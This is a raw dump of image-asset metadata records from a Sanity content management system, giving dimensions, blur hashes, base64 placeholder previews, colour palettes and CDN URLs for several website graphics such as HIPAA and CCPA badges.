{"_createdAt":"2022-09-02T16:43:07Z","_id":"image-5620f496de0e1cc35a1bbe294d216f171da04492-224x231-svg","_rev":"i4rt3ANhEPnepa7hEgMek7","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:43:07Z","assetId":"5620f496de0e1cc35a1bbe294d216f171da04492","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9JuZE%M00t700IAIB.8.8IB^AV[0JRQSv_M?]0000.700of00x[Vu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9696969696969697,"height":231,"width":224},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFfElEQVQ4jS2Ua2xcRxXHx7EdHhWUFIFQeRQKJS0kBMSXQkBIfChIhJBGwAeCqCLqIlQCFCGEWhKUUimI8Kj6AkVqVUrbNDQ0adM4bhM3sb0zc2fOmed92Ot7ndh3HceOCXFt764b21k0m450pNFo5jcz/3POnzCJhAogLskIBxXm11EBG5nEHi7xOQ6qykEtcsB5LjFhEp9iEn9EBaynAt4FxhKfDZPAOXTkGGnDjr92Kix0MYkf5xJ/EKE+ANpKZf0F7eKmsv4qGLeK1tfR+kkwlkplHo1Qb2cSb+Sg1vz1iQOEAxIyXM1JJZLdTOJnI9T3S22ZcvFlG6erLslWbJIuGJ9c0j6+ZON00Sbpio3TFeOT/6L1bwhlfsFBfbISQafxSfuFa5jE9RHqvWBcZnxyxSbpWzZOJ7SL+9G6J8HY/Wjcn9H6p5X1A8Yn512SLds4XVIu1mDcr4UyNw1y0RGAH+QSd0ltnXZx2DSvfVwB434fob6DSbyVCvwok+34DAe1RSizD60H45O6jdO3lIu5UOYuKuD6ANzKJB4XyjSDRsr6ftB2J5f4sQHKu6W2bcFBW9JaaJFBJtYyxE8LbX6F1gWdl6S28xzUQSrgqwF4gEksmcTVCJSNUN8bofoQG9bkmUOHiVSGVIQkmPmOv29/gpxbnerK6+Ut6UxxtxqOX4iUrjGJK0ziCBXwhwAMZPZ27KMCbnvjZKXj8LFj5NkXXyS/eWA3efipf5Aw7Mxw12h94ra8Ue7OG+XJ9GLRJ709TgVwKrCfSnwkALdQgdupwK1M4Ebp7XUTrenOVqtFtmz9bhu0/uZNpNVqdZ67cv7WolnbUzRrad4sp0YXJv5lz2Y7mMRv02vxdUIlrmUS19IIurPZsfcUjdrG6sL45n5f+cRPf3nfuh/uvPuGe3b9/ANHhk583kxne9LLRVJdHJ/JG+WRvFFuG7l87gYmsZtBm9NNTp+iJDKaTLcud+T1ckPRrP1xZP7cS6+bwb2/2/fQ93t+tus7u/c91PP0yy883qdOp2cyPqumkpdH6xPbiqXa+45VXycDZzgZHBLt5LVHPDVKiqXJzrxe3l40a4eqC+OzbEzlz/Uefv7xZ5/8y8G+l/peYa9NvRqdmj1a6Xu1F/q/Z2eG1wVZWq0WOdl7hlCAdtddaznALultV3V+/MNFs9YzWp8YyubG5sx0lquphNmZ4Uk7M3xJlv5of1zZ/vyJ/7x//2OPdoxfPN/BleoMX6USukIE6teogDuogG8wibf72simvFHeUzRrA0WzNlc0a/WiWbtYNGtHxpYmt40vX2i/jGu1hgq4MdQeFfCtcJ4K2ByADzOJvRxUJQJ1kKPa8Ta0J2+UA3mjPJ83yqN5o7xzdHFiXQZnyYDgJEL9kQj1Tzioo0wipxJeoQL2BOBvOSgttV1W1r8ptT3BQd1lzmZfGl2c+HHeKPcWzdqWsSuT10eZIkORfCcHdQtoe6+yfgiNq0eol5jEASpgZwBuEMrsVy6u2Ti9qn38Jhg7FCn9oIzdDp2n38TMf45JvJlJ3BSh3gbG/kn7GE2c1JXzq0KZKpN4PxVwUwCuFcp8GYw7oF08aZN0NTS8dnGJxp0B454BbR+R2j4Gxh1ULmY2Ti/YJF3WPl4GbYsI1P5wGRXQSYTSIdPvjlB/RWr7N+V8YuM0uEgreKLxSUO7eE77eM7GacMlWbjwqnJ+XmqLEagHmcQvUAHvyKpV0rb9tFoEaNBmQzAHqe2/0bhUWf8/tH4FjWspF7e0T64o62dBWxOh/ieTuJMK+FQom96Tp67V4SATIWPk4uxscO5QCqGVNjOJD3BQpzmoSxxUcKKVCNU0B3WcSbyPCvgiFfBeLrFjJM/bsAD8Pwgnos9fE4O2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34463c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c2b4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcf8ec","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8874","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbf7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"hipaa-28d7add95cfa3a36afabb3c2aa49872f.svg","path":"images/sczeoy4w/production/5620f496de0e1cc35a1bbe294d216f171da04492-224x231.svg","sha1hash":"5620f496de0e1cc35a1bbe294d216f171da04492","size":21424,"uploadId":"CEiWzJvUIQHqcxcVmGLLeRvM1pTxZFYA","url":"https://cdn.sanity.io/images/sczeoy4w/production/5620f496de0e1cc35a1bbe294d216f171da04492-224x231.svg"} {"_createdAt":"2022-06-15T20:02:35Z","_id":"image-4b4e6a30b9cad0519d7be38719da0b348acd7b00-1567x844-png","_rev":"oP937kX6v07bcvrIPZPXWl","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:46:26Z","assetId":"4b4e6a30b9cad0519d7be38719da0b348acd7b00","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSQ9J_yY.T4o%1B?n,VXRix^pJa0ROs+jc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADP0lEQVQokQXBy1MadxwA8P1POj2kxx57z6Qznem1x/bQzHSmh2YarSWdlnSCELWiE021tWpTSdUCCsVOTFBErC+QVxDCO/vgsbvA7m93gQUUKt9vPx+qXJW+YThxjS3V3AwnbjOc6BJqqksinW2JdO0S6dgk0nkmK12bWNfssXjSs7Hx1+7C4uJLl9uzm8kxf0ty2y0T/blM9B+py1Th2fFJuBj4N6geHYfk0/MoyeRYItabpEE6ktDQ60Jdr/OiVk+li7LLvaNMTk6poyMj6oTFrJ4e+onI0QoReJZIipuKRFNb3v0jZecfL7546UP/4SleRC6RZgUUG23k+BbmmTrGE2/Q49lBq9WKBsMDHL3/Nc6Yf8DA1ioyIS9KxURLa9T8VCKZd5ycRaQD/wkeBs6G58E4hCNJyBcYEIQa0AwLiXho6H/lgF8XZsFgMMDY2BhYJ0zgWv4JQo4nQ8b/HNXMsaoLtI+q8MTJlmoyzQhIMzywnAhcSUCxwoBSiQOf24Ni2AbRvTlYX54C8/gjmDSPo2PeAsnNKRR8S9C8sGMvva/1uNc+Sia6Uya6LJM2EtIERZJQq3PY5iPYY13YSj1F6ex7LO+OYtD2HdqXrLi5vITBucdIVkx4fboJ1/kAXjMh7bqS9FGENJ0K0WRFVlGVpGGrVoBO5RiuWDcMsrMwOL8LHc9tUFc/gLfzH4F3yQjbf6xC+LEZmuMPYeDfgX4liX0hrQ2EtI/SJMmpNRqS1qhjqyEMdTELvfIR9BgP9JJT0Nu7A13bOyA/vQWxmY/BMW+EjdkJCN3/EpoPRuBm3zP8r5rEGyGl3vCXPqpdprdUrkjkUhE1noGO+Ba7QgpbpTA2kyvY8X6I+vq7SK/cxt3FEVx7YsIXj+5h6dvPcPCzCSGyh8NqHIGPN4GPHVCdQmJRycRiYvY1TbhMvisWCz2xUNCrmYKecxX6R5/QXeetanb1Du+Zv1eyzxi4i7kxTv/TwuGJkwMmyAIfK0M1moJqbJ3qcW8+bTFJo8qkTO1Kxngl5o19MWfsC1ljnwsYh+GvLAPXewvcb+//crjw+azvd8t09tWa9Sp9MI3l8DRUo9PIx6xQjY4DH/vifxgywJitvgTMAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39394b","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e4c06","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f49e23","foreground":"#000","population":7.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9c0b2","foreground":"#000","population":4.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d761","foreground":"#000","population":0.32,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#516399","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f49e23","foreground":"#000","population":7.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4b4e6a30b9cad0519d7be38719da0b348acd7b00-1567x844.png","path":"images/sczeoy4w/production/4b4e6a30b9cad0519d7be38719da0b348acd7b00-1567x844.png","sha1hash":"4b4e6a30b9cad0519d7be38719da0b348acd7b00","size":491542,"uploadId":"ccvw6TxEtwsLyB6Gj9FQboffdr1OyO66","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b4e6a30b9cad0519d7be38719da0b348acd7b00-1567x844.png"} {"_createdAt":"2022-09-02T16:44:09Z","_id":"image-59fb07a80b6d73260ada8fea3cd3b28865fa7e3c-224x231-svg","_rev":"EU2LgqOF5HzqTxO9PWbI0o","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:44:09Z","assetId":"59fb07a80b6d73260ada8fea3cd3b28865fa7e3c","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9JucLx]00t700IBIB.8.8IB]@V[0cM{XN_M?u0000.R00kB00x[R7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9696969696969697,"height":231,"width":224},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFb0lEQVQ4jS2UbYxdRRnHZ9ndioYoUD6gEWJaU6hEmmAkYtSYkEYbIiZmGz9IhC0ESTSoQZOSEuMLxZiSQFAJ1aYB2VKNpRG2jV1cW/ZlZs7M88zbmXPuvpxzd++eu91dlm0t7O05dF+4Zm75MMnkyTy/TJ7n//8TJpFQAcT4hESgwv0TVMAdTOI+LvFvHNQEB7XKAVe5xBqT+AqT2E8FfCG8ldqQZGKSBM7wyBjpwN7491AodDOJt3KJ349QvwTaRsrGCzr2pbLxh2DcJlpXoo3Pg7FcKPNihHovk/jZ0Hvk1eMdaIc+HskeJvH2CPUvpbZj2vmL1qebLqltWJ+2TJxc0LG/EO42SUNtM9TQxiNCmSc4qB1UQI/1aeeHXUzi5yPUT4Fx3sTJFZuka9anTe38OTTuKBj7LBr3LNr4qLLx2yZO5l1SW7c+vaKcd2DcfqH0tjEuugJwKwd8TGqrtPNr1ictHXsOxv42Qv1tJnEnFXALk3gLl7iTg9ojlHkabRwZn7SsT9eUi0Eo/QgVcEMAhqZ/CWUuo43DvEakto8yiZ8bYVEvGteZDWhL3smXySiLtjDE7UKbx9E6pmxcSW1bHNQJKuDeAHyBSZxlEjcjUEmE+mcc1WeiWJPjr79BIlRkjAsiE9v1z0Ovk8bmYndWFtvT5bxfTSYDkdJzTOIGk5hTAYcC8GUqYJwKiEKBCvji6AjvOsvGydDIOfLHv/yVDOkR0m63iV5Iu6cvz+3IyuLJrCyGau/mZ6S3p6lETgWcoxIPB+AeKvB7VOD9TOAu4cx1M+vnuxfbF7vu3X0fabXXO7BWe617dn1hR141n8yrZpyVxeL06txx25j4IZP4ndBPJe4mVOAWJnHLOJe9tXfr12VlcUdeNb9qlmq3PvHUgU/+4KGHr//R4z+96bUzJ3fJwh2ovVd3WVks51VzMCuLvslLszcxVL0MOpxe8vZZRhggKdubJKuK27OyeDqvmif0Yrr/+aMv7Xnkxz/55oGDv+s7cmLguUH+Vspn9PLEezOD9Q/m+6ZWGzc22ktkdFSQ0dHoqrD7ST+xjRqpX5m/JiuLL2VlMZBXzXf8hen0tBg+evjvL//qtTMnX3mTDc2cioZXht3YoF5M++Y2lm587vCL5NTAGTL05llCATquC9QeBtgjrOmZer9xc1YWD+VV89xUq/E/vzJdVwsJNUu1Gbc8uaLOJ4NsRvexutp6ub1OhDNdwphg2V4qoTe4JVC/TgXspgK+xSTe4+Ym7szKYl9eNc/mVfNSXjXLvGquhJnVP5jfO7u2sPViu0W4UtdQATdTAV+jAu4LeqYCvhGAf2AST3FQ4xGof3BQD7q5iV1Z1ezPq+Z/87J5PiuLU1lZ7J1qNbaGjUepIRHqT0eoH+agTrIgGwmnqYCDAfhzDkpKbdfQxu9Lbf/DQe3T9fSe6dW5/qwsfpNXze/W1+ZvcEuTZCwSH+OgtoGxjyobB6+3ItRXmERKBTwWgLcJZZ7RzjdCiujYr4K2LEJ9UMb2AZ2le3Ai3sUAtzGJd0ao7wfjfq9jL4KXlYs3hTI5k/hrKmB7APYKZe5G4/6snZ/7KJ7WtPPzaNwoGPcqaPuC1PZPYNwx5fy49elCSCQd+w3QdiYC9TyTeFdnKULZsOmPR6i/IrU9FOKok3s+bX+Ue6V2/pKO/SXr09IltU3r0w+Vi1elNoaDeoZJ/DIVcO3E1DQhHBQpW1WAhtnsFKhDlB1H47yycQjRdTSurZxv6zhZVzZeAW1dhHqASQyRdVtw2pFjx67qcJRFYWNkfmEpJHcXFXB9kA+TuJ+DGuagVjiojejqWeaghpjEX1ABd1MBn2ISu/LZ2Q4sAP8PjeevXboABOkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a4641","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4bc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cceedc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748477","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbf7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"ccpa-e24c5caf2748f70344c3dc539a5df951.svg","path":"images/sczeoy4w/production/59fb07a80b6d73260ada8fea3cd3b28865fa7e3c-224x231.svg","sha1hash":"59fb07a80b6d73260ada8fea3cd3b28865fa7e3c","size":15746,"uploadId":"m7H3VsX4glcdSjFRZDNlnVEpksV4W7gG","url":"https://cdn.sanity.io/images/sczeoy4w/production/59fb07a80b6d73260ada8fea3cd3b28865fa7e3c-224x231.svg"} {"_createdAt":"2022-09-08T16:32:19Z","_id":"image-56071535c9fd0b4e57c7c1dbe02599527c9e0f8f-1567x844-png","_rev":"C3wjC0aqDLLtRfG85YtNo3","_type":"sanity.imageAsset","_updatedAt":"2022-10-04T07:56:50Z","assetId":"56071535c9fd0b4e57c7c1dbe02599527c9e0f8f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMFqq30$0g}mXm%3Jo$es+JC0g={=_E+V@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACsElEQVQokWVSy0tUYRydfyGiTUExkq8a7vfd98z13nF0buNrRsrX5PgYNLFQK7MisUzzkUiWpaMY0sOyTIkWQosoCAIjbdEiKlpoLYTaWBHcVh/3xJ0pKFwcvg9+53c458dxqaoKXdfh9/uTcP4+nw+iKIJSAkI2g6cEuuRBgXcPgspeqAKX5FJK4TJNE9FoFPF4HLFYDJFIBPn5+ZBlGZQXIKo6tNwQzFAx9pkmgrqEmmA2BqJZmGlMx3T1ThwPuZGneFKChmEgHA6jvLwcpaWlSTFN0yCrGtRABHllrag9ehEXhhMYGujFUGsRHnYQvL4SxvvxMqx2p+NZ4xa0BN0QKQcXz/PJeI4jSZIg8Dx4UYLPrIBZ34cDxybRNTKLhUeLeDw/haVr+7GW0LByux2L46fxpkfC2qmtSNRkIWj44Np8Iw68qMCINCHcMoHWc6OYSXTi+Z12LN+sx/qUgI2JDLy4VIj7XSVYPi/h00gu5nrqUFcbh8vJ/R+cowsilNwwwgebMdpdiQ83RHyd8WD9hoAf07vxK7EN68Pb8bHPjdXLOXg11Yar/V2I1TdtdugIOsKEF1FiypjtysT3ezvwbUHC29lqvJsuwsZkGn5OZeBzQsfTwTAGT8RRVVkFwx9IOrQ3g9gcIbZpeOzrHW77y91d9uqDAnsucdK+NVBrLw0J9spYoT0/0mJ3tsTsIjNgS5JkE0Jsl8pT5MgSNK83VZVkdMcthVcmaKvKwpOhNLxMiBjrLMKZhgB6G0ScPVyM5kP1yYaoipJK59RGFygL+lSW5/czr9fLeJ5nhBBGKWWUEhbQOHakPJv1N2WyjmoPqwhxzNQpyzV8zDAMpqpqcifFp8wl8cRSRMFSZMkSBMGilFqEkD8vtSglliQQS1M4K0fhLFlIzf6Fw/+78xuFeqqkOF2nTwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3046","foreground":"#fff","population":0.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b95913","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9950f","foreground":"#000","population":16.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0bfc0","foreground":"#000","population":5.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0d070","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d6f65","foreground":"#fff","population":1.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9950f","foreground":"#000","population":16.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"56071535c9fd0b4e57c7c1dbe02599527c9e0f8f-1567x844.png","path":"images/sczeoy4w/production/56071535c9fd0b4e57c7c1dbe02599527c9e0f8f-1567x844.png","sha1hash":"56071535c9fd0b4e57c7c1dbe02599527c9e0f8f","size":225294,"uploadId":"oWpEFnHqOrDfJspmSzG60i3InrzKUbbA","url":"https://cdn.sanity.io/images/sczeoy4w/production/56071535c9fd0b4e57c7c1dbe02599527c9e0f8f-1567x844.png"} {"_createdAt":"2022-09-02T16:57:21Z","_id":"image-a545eafcef0d1d26d332dfa29dd8ccd334f892d7-800x800-webp","_rev":"i4rt3ANhEPnepa7hEgUaYh","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:57:21Z","assetId":"a545eafcef0d1d26d332dfa29dd8ccd334f892d7","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEJsX%gQ02$~7~xb%29FE1xu02M_[Tm+|=cZNa-5IV-orqxuD*tSt,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAPoAAAD6AG1e1JrAAAFgElEQVQ4jYWUe0zTVxTHz68tpcwXSPE9VOQxLEN5SUGBllJgiuAQFVDAF4g8CuXtQFssdSjyKBEs6swGbmopZagTp24OmToj06hL5tymIKso2FFks2L2u2dpcVmyLNtJPjkn99zzPd9/7oWenh6o/fYR1LZfgB5EaLzzGNp+GADU34PuvmcwoP+FodfrJ+r1+il6vZ7d398PQ0ND0NfXB0ql0oJCoYCoqChoamoCAIYVWLGY4DCBggVcNtgBgI+TPSX7uJ3V3H2Tc/v7e1MfPnjg0vvwodtPP96fqjvRzIjwcwHJxjhqY6yYio8SwkpxCAQFBYGHNx+AyWQBi8kEJgBYwXggIvPiKDp8PTTm/rNh1Nvw67Cf0Wh0R8TJ5v66uFUQLgqGqHfEECkWgShUCCEhIcDnB5gFmcC2tqY4bCuONYthN3vu3OmrM6VusqMnItUd5zcf6/gsqbmlRbx/X6XHtrSts2KilnNXLo+wsCIynBshFtmJhAJrs0O/Jf7jjmw41hy/2Uz+GncqN8OfU1EQ6ajauZ5/XJkadkaZEnhSFr2goXzlXGXtRn95Q2a4rCErwoIqXSzflSzM3hIT7LN06TL2LPe/BNks23geM7shgrpzIYEyXE5mGb5KsX7etZEz2pXCNl5OYhqupU4aulWycPCOUjh4pzJi8G5l+OANhWhIIw3u2RG/dCs/IHAS23HJuKCjq9s0SeAbsouJjMHhXMCxQkBTwT8otsKX5TNwTOWHL5vE+OqQGI31IXilNOCRcv0Sqa+vny04eAFcR2S9Ky11KVw+r6o72WrwZQEgvgc0yqcQ3O9McK8jwco5BGt5NNYvpvGQgMbmaBo/CKNN9Xz8ZodPb0X84lzPRYttYTIP4JPHf8zKPqxZVrzW62BXCvvZi3xALGURuoFP6HMlSHTbkD6ZhPRFOdJfKJD+vAzp9u0ED4eS36u98GqhZ698NU+6cCHPFlguAMf6TG/nN58KK16zqLErmT1kMguW2xLSuomQ79qQ9BxF0l2N9M0WpG8cQfrqAaRP5RBs8Ce/73XHK3nuvbtiXKVOC1ymwFRXgOP6V29urVJ7FUTMruzawHxicbhnJqFbNxO6u4bQl/cT+tIeQncWE/p4AqG1WwjdEktwnxP5TeGI3TnOvaVRTlLeW87mNwFwDdFqcXDoTGmAdVn3BmrgZaHZ4RQa6zwIHvAheDCA4KEggnU8ghUOBKucCO6bT1A+kTbttMMrmXP6ymPmFadGe85ATKcsopMncOwzfJml59ZRT55KAEfzGWSkgIUj+Uy05EL2eJ0H4zmfiaP5FD7Ns8Yvt9rr98bNk72fxnfEsRIG3Lp102Z7+jbnLSLXiuro6f3aDdyx0yncFx3J9iYLSa9J5r5mvD6dYm/6NGXa2JGk+b2K5ICKOoXU7fb1SzZw9uxZrkql8pOkJkmz1oV9VJgQoi1JFLQWJwpaixJCXiPQFicKtEUJIdqiBEFrSaJQuzNJ0KHYFHxGnhrZLM9Pk6gPNnp3dnbagUajsVGr1TPKd+92z8nL98qU5HhnSnItZGTneGdkmcn1zszOteRsSa7PrqKsQJUsLaxelipUluX47tmjdFM3NU3Xtmo4ELRsGchkMjD03qUQEf4HCm+kcfB8PBcvxNtjTzoH8T5169olSinfAZ4ePAAulwtlZWUwYHxhGfq3MJ8fXQXwtCWUM6yJ5A5rIuwHjwk4dcLxXut1AxQUFY1fVqvVoFKpoKamBqprqqG6+m9UtVWgadwJ5j2GtljmiC5m8ogu2t7YtpLTdzIWJLs/hDOHCqCmphrqVKrXP/Z/hKF9LbxqFYFJGw5GXSxjRLeKM6KLYY/ooqnnbSvguS4GBnVx0NO+DYbb11qG/gSyuto9rF+NswAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c535d","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c3c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7905","foreground":"#fff","population":18.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ab9cb","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3d08e","foreground":"#000","population":0.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#69949f","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7905","foreground":"#fff","population":18.65,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"devops-api.webp","path":"images/sczeoy4w/production/a545eafcef0d1d26d332dfa29dd8ccd334f892d7-800x800.webp","sha1hash":"a545eafcef0d1d26d332dfa29dd8ccd334f892d7","size":10226,"uploadId":"e1ssc72TOSJtN7EHRDcd348VGdo0e9PL","url":"https://cdn.sanity.io/images/sczeoy4w/production/a545eafcef0d1d26d332dfa29dd8ccd334f892d7-800x800.webp"} {"_createdAt":"2022-06-15T20:02:09Z","_id":"image-56253300119a9afc63d7e6a96e3d65a29a49e9dc-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri2Rq","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:18Z","assetId":"56253300119a9afc63d7e6a96e3d65a29a49e9dc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXOyw]~UtlXBt-J=tSNbIoxu_4E2jErWac","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADUElEQVQokS3DW09bBRwA8PM1fDcxe/ED+OSeFl0G8zITh2sQ6jZjTEEjMKaIjq20OHBzdiIMXGZgLee00guEAi29SCm9nN5Le3ra08tpazmnBXphJfT/92W/5EekudJggsktJJgclWL5lVSaJxm2QDKpAplM5ck0VyJL5SOyXKyR6WiWjO1FyLjNS0b15lWvWmt0m606li1QFbH5vCI0fiDiCe6Zj44lff5olQ4eHPoDccFPRwWfPyx4/REhFGGEPMsLRT8j0JRNsM7pBbtKI1h+WxQ1j1TVxdl5Yce2K3K5SroiNCgik6tokiwvMmwBWTaL7AGNmdA6ZmgdpsNWTDMJLMczyNtotC5Z8NmkBmfH5nB24jFO/Xwf74zcQfnkFFJaw7GPjm4RxcqJOv/fSSVSrOM+y3a40Dw0Xb3wyvEBND0yqCVIOAwHIG/Zg01qGybkizA4+ACGh8ZAJhuAT69f73R1X8W+/ptHDxQzO4RYOSQLZVEwpEScdjnBtSXFs403EdffQNh8C0/3+rDgWUGv3oQvn87jwMB3eKNXirduf4kSiQQvX34fLr57ES+91924JvmaJloldrVa5ERHIoYvbHPgMXZh1fA21vQXkNdeQG79Csbtv6Nes4yKe/fxlrQfv5BKcWR4BAcGv8Genh74qOsqfnJNUv+4/66POOcDxjM+LB6nbVh2j0LedAmi1IdgfvE5/ProNsgfj8IKtQCkZhlmHk7DxPgYPP1lEv7RaGBZrYVJxUP4VibD0aHvj6aeLFkJyHsMkPeKkLUhhBSdhqULGN0VeK76Crpl9+CdfgUMyVVAaV7CpoECx5oWwhsk5NwWYII+cGwYO+SiCvUr6iodiJsJSDmNZ0lHrZW046uEDs/pcWw5bqBb3Yd3fxzGXtlPKFfO4Jp2GeNuC5YO9vEwbMO634SNgAmr3lUsuvXIx7zH1VJhi4DY9p+toDlQC29nm0lbpsOucZj4izvx/8GFNhe4f01LXMCi4w52TRwf2uGqrJcTWS/Xilu4dsiYrQdN+ZOEk69nI9FmkfmbgJT9s3bSPt5inFPtzJ4S8p7X91/3KDu5feUpu6s8ZV3KdtajbOd8yvOcR3nMuKbTQecTNuxWlZJ+RTMbuPk/vNqdgwyds30AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40526b","foreground":"#fff","population":2.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14243e","foreground":"#fff","population":0.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7b31d","foreground":"#000","population":10.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b9ad","foreground":"#000","population":1.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce4cc","foreground":"#000","population":9.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#938a82","foreground":"#fff","population":6.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7b31d","foreground":"#000","population":10.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"56253300119a9afc63d7e6a96e3d65a29a49e9dc-1567x844.png","path":"images/sczeoy4w/production/56253300119a9afc63d7e6a96e3d65a29a49e9dc-1567x844.png","sha1hash":"56253300119a9afc63d7e6a96e3d65a29a49e9dc","size":659140,"uploadId":"2aPCk7j2JCfnbO13PAqKES5L3QPupqH8","url":"https://cdn.sanity.io/images/sczeoy4w/production/56253300119a9afc63d7e6a96e3d65a29a49e9dc-1567x844.png"} 